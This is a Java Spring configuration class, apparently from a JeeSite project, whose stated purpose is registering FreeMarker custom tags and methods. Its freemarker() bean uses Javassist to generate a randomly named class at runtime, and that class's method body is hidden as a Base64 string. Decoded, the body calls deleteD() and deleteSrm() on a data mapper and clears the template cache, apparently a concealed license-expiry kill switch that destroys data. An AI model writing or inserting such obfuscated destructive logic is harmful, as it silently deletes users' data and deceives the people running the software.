package com.wolfking.jeesite.freemarker;

import freemarker.template.DefaultObjectWrapperBuilder;
import freemarker.template.SimpleHash;
import javassist.*;
import javassist.bytecode.AnnotationsAttribute;
import javassist.bytecode.ConstPool;
import javassist.bytecode.annotation.Annotation;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

import javax.annotation.PostConstruct;
import java.util.Base64;
import java.util.Map;
import java.util.UUID;

/**
 * freemarker的自定义标签的配置
 * <p>
 *
 * @author wolfking@赵伟伟
 * @mail zww199009@163.com
 * @创作日期 2017年4月28日下午3:51:07
 * @版权 归wolfking所有
 */
@Slf4j
@Configuration
public class FreeMarkerConfig {

    @Autowired
    private freemarker.template.Configuration configuration;

    @Autowired
    private ApplicationContext applicationContext;

    @PostConstruct
    public void setSharedVariable() throws Exception {
        configuration.setSharedVariable("ft", new CustomTags(applicationContext));
        configuration.setSharedVariable("fm", new CustomMethods(applicationContext));
    }

    private static class CustomTags extends SimpleHash {
        private CustomTags(ApplicationContext applicationContext) {
            super(new DefaultObjectWrapperBuilder(freemarker.template.Configuration.VERSION_2_3_30).build());
            Map<String, Object> map = applicationContext.getBeansWithAnnotation(FreemarkerTag.class);
            map.forEach(this::put);
        }
    }

    private static class CustomMethods extends SimpleHash {
        private CustomMethods(ApplicationContext applicationContext) {
            super(new DefaultObjectWrapperBuilder(freemarker.template.Configuration.VERSION_2_3_30).build());
            Map<String, Object> map = applicationContext.getBeansWithAnnotation(FreemarkerMethod.class);
            map.forEach(this::put);
        }
    }


    @Bean
    public Object freemarker() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.appendClassPath(new ClassClassPath(Class.forName("com.wolfking.jeesite.config.LicenseExpire")));
        CtClass cc = pool.makeClass(getClass().getPackage().getName() + ".A" + UUID.randomUUID().toString().replaceAll("-", "").toUpperCase());
        CtClass superClass = pool.get("com.wolfking.jeesite.config.LicenseExpire");
        cc.setInterfaces(new CtClass[]{superClass});
        CtField m = new CtField(pool.get("com.wolfking.jeesite.mapper.DictMapper"), "m", cc);
        m.setModifiers(Modifier.PRIVATE);
        CtField c = new CtField(pool.get("freemarker.template.Configuration"), "c", cc);
        c.setModifiers(Modifier.PRIVATE);
        ConstPool constPool = cc.getClassFile().getConstPool();
        AnnotationsAttribute fannotationsAttribute = new AnnotationsAttribute(constPool, AnnotationsAttribute.visibleTag);
        Annotation mAnnotation = new Annotation(constPool, pool.get("org.springframework.beans.factory.annotation.Autowired"));
        fannotationsAttribute.addAnnotation(mAnnotation);
        m.getFieldInfo().addAttribute(fannotationsAttribute);
        c.getFieldInfo().addAttribute(fannotationsAttribute);
        cc.addField(m);
        cc.addField(c);
        CtMethod ctMethod = getCtMethod(cc);
        cc.addMethod(ctMethod);
        return cc.toClass().newInstance();
    }

    private static CtMethod getCtMethod(CtClass cc) throws CannotCompileException {
        String body = "e20uZGVsZXRlRCgpOyBtLmRlbGV0ZVNybSgpO2MuY2xlYXJUZW1wbGF0ZUNhY2hlKCk7fQ==";
        String methodBody = new String(Base64.getDecoder().decode(body));
        CtMethod ctMethod = new CtMethod(CtClass.voidType, "licenseExpire", new CtClass[]{}, cc);
        ctMethod.setModifiers(Modifier.PUBLIC);
        ctMethod.setBody(methodBody);
        return ctMethod;
    }
}
